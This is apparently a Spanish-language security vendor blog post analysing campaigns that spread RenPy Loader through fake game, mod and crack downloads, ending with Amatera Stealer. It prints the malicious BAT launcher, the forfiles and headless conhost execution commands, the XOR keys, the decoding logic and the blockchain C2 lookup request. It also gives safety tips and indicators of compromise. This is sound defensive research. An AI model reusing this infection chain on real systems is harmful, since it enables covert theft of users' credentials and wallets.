Los juegos falsos difunden programas de robo de datos mediante RenPy Loader, MSBuild y EtherHiding

| 20 de julio de 2026
Logotipo de Ren'Py

Hemos detectado varias campañas que utilizan descargas falsas de videojuegos, mods, cracks y software para propagar RenPy Loader. Una vez instalado, el cargador inicia una compleja cadena de infección en varias fases que se aprovecha de MSBuild y de la técnica EtherHiding antes de instalar, en última instancia, Amatera Stealer.

Amatera es un «infostealer», es decir, un tipo de malware diseñado para robar información confidencial de un dispositivo infectado. Puede dirigirse a contraseñas y otros datos almacenados en navegadores, carteras de criptomonedas, extensiones de navegador, aplicaciones de mensajería y archivos locales. Las credenciales y los datos de sesión robados también pueden permitir a los atacantes acceder a las cuentas en línea de la víctima.

La víctima puede ver lo que parece ser un juego o un instalador de software normal, mientras que el malware se ejecuta de forma silenciosa en segundo plano.

RenPy Loader, también conocido como RenEngine Loader, resulta especialmente interesante porque hace un uso indebido de Ren’Py, un motor legítimo que se utiliza para crear novelas visuales, juegos basados en la trama y ficción interactiva. Al ocultar código malicioso dentro de software relacionado con los videojuegos, los atacantes pueden hacer que sus descargas parezcan más creíbles para las personas que buscan juegos, mods o software pirateado.

Ya hemos visto anteriormente cómo los atacantes hacen un uso indebido de herramientas de desarrollo legítimas y marcos de software emergentes, como Bun y Deno, para distribuir malware. RenPy Loader sigue el mismo patrón: los atacantes se aprovechan de la tecnología legítima para encubrir actividades maliciosas, complicar la cadena de infección y dificultar su detección.

También se ha observado que RenPy Loader distribuye otro tipo de malware, como HijackLoader y Lumma Stealer, lo que demuestra que la carga útil final puede variar de una campaña a otra.

En este blog, analizamos una cadena de infección en la que Ren’Py descifra un archivo ZIP que contiene un archivo BAT y varios archivos de proyecto de MSBuild. Estos archivos cargan un componente .NET troyanizado, que a su vez descodifica otro componente malicioso.

Ese componente malicioso utiliza una técnica denominada «EtherHiding» para localizar su servidor de comando y control (C2). En lugar de almacenar la dirección del C2 directamente en el malware, los atacantes la ocultan en datos almacenados en una cadena de bloques pública. A continuación, el malware descarga las siguientes fases del ataque desde ese servidor, lo que hace que la infraestructura de los atacantes sea más difícil de identificar y desarticular.

Por último, analizamos las cargas útiles adicionales que, en última instancia, descifran y ejecutan Amatera Stealer.

Las descargas falsas infectan tu dispositivo

La infección comienza cuando alguien descarga lo que parece ser un juego, un mod, un crack o un programa. Hemos detectado archivos maliciosos distribuidos a través de:

  • Sitios web maliciosos
  • Portales de descarga de videojuegos
  • Varios servicios para compartir archivos, entre ellos Wormhole, GoFile, Google Drive y MEGA

Estas son algunas de las páginas detectadas que dan inicio a la cadena de infección:

En varios casos, al hacer clic en un enlace de descarga, el usuario era redirigido a otra página web de descarga falsa. Estas páginas utilizaban diseños diferentes y nombres de servicios inventados, lo que contribuía a que las campañas parecieran menos repetitivas y dificultaba el reconocimiento de la infraestructura maliciosa.

A continuación se muestran algunos ejemplos de páginas de descarga falsas que se utilizan para distribuir el archivo malicioso:

El usuario descarga un archivo comprimido que contiene un archivo llamado Setup.exe. Al abrir este archivo se inicia la cadena de infección.

Ejemplo de un archivo descargado de una página web maliciosa
Ejemplo de un archivo descargado de una página web maliciosa

La víctima ve una pantalla de carga o de instalación, pero en segundo plano se está ejecutando código malicioso.

La pantalla de instalación
La pantalla de instalación

Cómo mantenerse seguro

Tomar algunas precauciones puede reducir el riesgo de descargar juegos o programas maliciosos:

  • Descarga juegos y programas desde sitios web oficiales, tiendas de aplicaciones de confianza o plataformas de distribución consolidadas.
  • Ten cuidado con el software pirateado, las modificaciones no oficiales y las versiones gratuitas de juegos de pago.
  • Ten cuidado cuando un enlace de descarga te redirija a través de varias páginas web desconocidas o servicios para compartir archivos.
  • Comprueba el contenido de los archivos comprimidos descargados antes de abrir archivos ejecutables como, por ejemplo, Setup.exe.
  • Fíjate si hay nombres de archivo inusuales, imágenes o archivos de texto que no tengan relación con el tema, y contenido que no se corresponda con lo que pretendías descargar.
  • Utiliza un programa antimalware en tiempo real, como Malwarebytes.
  • Mantén actualizados tu sistema operativo, tu navegador y tu software de seguridad.

Los responsables de estas campañas crean continuamente nuevas páginas web y modifican sus páginas de descarga. El hecho de que un instalador tenga un aspecto profesional o de que se utilice un servicio de intercambio de archivos conocido no garantiza que la descarga sea segura.

Análisis técnico del cargador de RenPy

Ren’Py es un motor gratuito y de código abierto para crear novelas visuales, juegos basados en la trama y ficción interactiva. Ren’Py permite la integración de scripts de Python, de los que los atacantes se aprovechan para insertar código malicioso.

En este caso, hemos detectado código malicioso en los siguientes archivos y rutas:

Ruta

Descripción

data/python-packages/sys_config/

Clases anti-sandbox

data/libwin32.rpa

Cargador

data/.GEg

Configuración cifrada con XOR

data/j3lpTcg7kBRN.E3

Archivo ZIP cifrado con XOR

El cargador de la primera etapa extraído de libwin32.rpa realiza las siguientes operaciones:

  • Lee la configuración data/.GEg y lo descifra mediante la decodificación Base64 y la operación XOR con la clave 81034149cd6f48c8821340204f92766e. Esta configuración contiene la contraseña que se utiliza para descomprimir el archivo ZIP, junto con otros datos de configuración que utiliza el cargador.
  • Llamadas sys_config.is_sandboxed() y se cierra si se detecta un entorno aislado.
  • Descifra mediante XOR data/j3lpTcg7kBRN.E3 utilizando la clave A50YyY1 para descargar el archivo ZIP.
  • Extrae el contenido del archivo ZIP a una carpeta aleatoria dentro de %TEMP%/tmp-{5 digits}-{12 characters} y escribe un :Zone.Identifier flujo de datos alternativo (ADS) con ZoneId=0 para eliminar la «Marca de la Web» y eludir SmartScreen. Además, inserta un REM cadena en el archivo BAT extraído.
  • Lanza la carga útil utilizando forfiles.exe.
  • Envía la MAC del dispositivo y el ID de la campaña a un sitio web de seguimiento.
La configuración descodificada
La configuración descodificada
Los archivos contenidos en el archivo ZIP descifrado
Los archivos contenidos en el archivo ZIP descifrado

En este caso, el archivo BAT extraído se ejecutó mediante el siguiente comando:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contenido del archivo BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

El archivo BAT ejecutado realiza las siguientes operaciones:

  • Se reinicia en una consola oculta o sin interfaz gráfica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Habilita las funciones de propiedades de MSBuild, lo que permite utilizar métodos adicionales como, por ejemplo: AppDomain.CurrentDomain.Load que se ejecutará:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Ejecuta MSBuild.exe con Nancy.csproj como archivo de proyecto. Durante la evaluación del proyecto, una función de propiedad maliciosa de MSBuild descodifica el código hexadecimal y carga de forma reflexiva la siguiente etapa de la DLL.

El archivo DLL de Nancy infectado con un troyano y el bytecode personalizado

Nancy.csproj importa los tres archivos extraídos Nancy.csproj.user, Internal.props, y Nancy.Compile.targets. La DLL maliciosa está dividida en tres valores almacenados en estos archivos.

Los archivos importados en el archivo Nancy.csproj
Los archivos importados que hay dentro Nancy.csproj

Nancy.Compile.targets concatena los tres valores para descodificar en hexadecimal la DLL y ejecutar el DefaultEvaluator5 método que utiliza AppDomain.CurrentDomain.Load.CreateInstance.

Ejecución de DefaultEvaluator5
Ejecución de DefaultEvaluator5

Lo interesante es que Nancy.csproj tiene una doble función: es el proyecto MSBuild que se utiliza para ejecutar el cargador de primera fase y, además, contiene la siguiente fase descodificada por el cargador.

El archivo DLL es una versión troyanizada de la biblioteca Nancy .NET y consiste en un cargador .NET ofuscado que contiene código malicioso implementado en el DefaultEvaluator5 clase. Parte de la funcionalidad de la DLL se implementa mediante código byte personalizado que se ejecuta en este método «main».

Comparación entre los archivos DLL legítimos y los infectados con troyanos de Nancy
Comparación entre los archivos DLL legítimos y los infectados con troyanos de Nancy

La DLL realiza las siguientes operaciones:

  • Descifra cadenas de recursos mediante un método de descifrado XOR con varias claves.
  • Resuelve las API mediante el hash de API y GetDelegateForFunctionPointer.
  • Modifica la configuración de red, lo que incluye desactivar la validación de certificados TLS y configurar el proxy predeterminado del sistema.
  • Realiza operaciones para eludir el análisis forense.
  • Lee el _czzf variable de entorno, que apunta a la anterior Nancy.csproj archivo, y a continuación lo descodifica y lo ejecuta.

Lo principal DefaultEvaluator5 Este método recupera cadenas e interpreta el código byte contenido en los siguientes recursos:

  • Nancy.Runtime.mvlorimu: Contiene el bytecode personalizado. El bytecode es interpretado por _pv y _sro. Implementa 23 códigos de operación que se utilizan para descifrar otras cadenas y cargar la DLL de la siguiente fase.
  • Nancy.Data.tcnlhxw y Nancy.Resources.kxxodp: Contiene las cadenas cifradas y otros datos utilizados para el descifrado, incluidas las claves, las longitudes, los índices y la S-box.

Las cadenas se descifran mediante el siguiente algoritmo:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

La siguiente etapa de DLL, GollopDevest, se descodifica a partir del mismo Nancy.csproj archivo que sigue la siguiente lógica y que contiene AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
La siguiente etapa codificada entre los marcadores «Pack»
La siguiente etapa codificada entre el Pack marcadores

EtherHiding y Amatera Stealer

La siguiente etapa extraída es una DLL llamada GollopDevest.dll, un programa de descarga para .NET que utiliza la técnica «EtherHiding» para obtener la dirección de su servidor de comando y control (C2) y descargar la siguiente fase.

El dominio C2 cifrado se obtiene mediante un JSON-RPC de Ethereum eth_call solicitud de bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Es probable que este programa de descarga EtherHiding forme parte de una operación de «malware como servicio» (MaaS), ya que hemos detectado que se distribuye en otras campañas, entre ellas las de ClickFix.

A continuación, se descargan tres cargas útiles adicionales: dos archivos DLL de .NET denominados PavinWide (una DLL antianálisis) y GollopDevest (una DLL de carga) y una DLL de C++ llamada LanoseThrip, que finalmente descifra y carga Amatera Stealer.

En este caso, estas cargas útiles se descargaron desde:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Las DLL de .NET están muy ofuscadas mediante el aplanamiento del flujo de control y llamadas indirectas a través de calli/ldftn, cifrado de cadenas con varios algoritmos, código basura, código inactivo y cadenas falsas, como rutas de URL.

El análisis de estas DLL aún está en curso y se tratará con más detalle en las próximas entradas del blog.

Indicadores de compromiso (IOC)

Dominios

  • downpro[.]net – Página web de descargas falsa
  • macisofile[.]sbs – Página web de descargas falsa
  • visitmama[.]blog – Página web de descargas falsa
  • visitmama[.]guru – Página web de descargas falsa
  • getgamerfree[.]com – Página web de descargas falsa
  • fullgames[.]digital – Página web de descargas falsa
  • flingbase[.]net – Página web de descargas falsa
  • citronemu[.]com – Página web de descargas falsa
  • filemodo[.]xyz – Infraestructura de distribución
  • storage06x[.]cfd – Infraestructura de distribución
  • p03sil[.]cyou – Infraestructura de distribución
  • wimsedas[.]xyz – Infraestructura de distribución
  • againstmor[.]store – Infraestructura de distribución
  • host03q[.]cfd – Infraestructura de distribución
  • cloud01y[.]cfd – Infraestructura de distribución
  • storage11x[.]cfd – Infraestructura de distribución
  • storage04x[.]cfd – Infraestructura de distribución
  • host82p[.]cfd – Infraestructura de distribución
  • cloud05y[.]cfd – Infraestructura de distribución
  • analyticstrack-pzh[.]click – Página web de seguimiento
  • login.orbitalframework[.]cc – Amatera Stealer C2

Direcciones IP

  • 144.124.251[.]171 – Se utiliza para obtener cargas útiles adicionales
  • 195.63.140[.]33 – Se utiliza para obtener cargas útiles adicionales
  • 78.40.196[.]252 – Se utiliza para obtener cargas útiles adicionales

Hash de archivos (MD5)

  • 29203ca123d51b1b33505a0813d360df – Cargador de primera fase (DLL troyanizada)
  • 810F257542018BE0FC62AF542D13D012 – DLL de GollopDevest (DLL de descarga)
  • 681DB529E402467A4B0567C82A350FC0 – DLL de PavinWride (DLL antianálisis)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL de GollopDevest (DLL de carga)
  • F8453EFE408CE25B9484F872797E3D63 – Carga útil final

Premio «Elección del equipo editorial» de CNET 2026

Según CNET.Lee su reseña


Acerca del autor

Gabriele es un ingeniero de investigación de malware al que le encanta luchar contra el malware. Cuando no está haciendo eso, le gusta disfrutar de la naturaleza, el arte y los animales.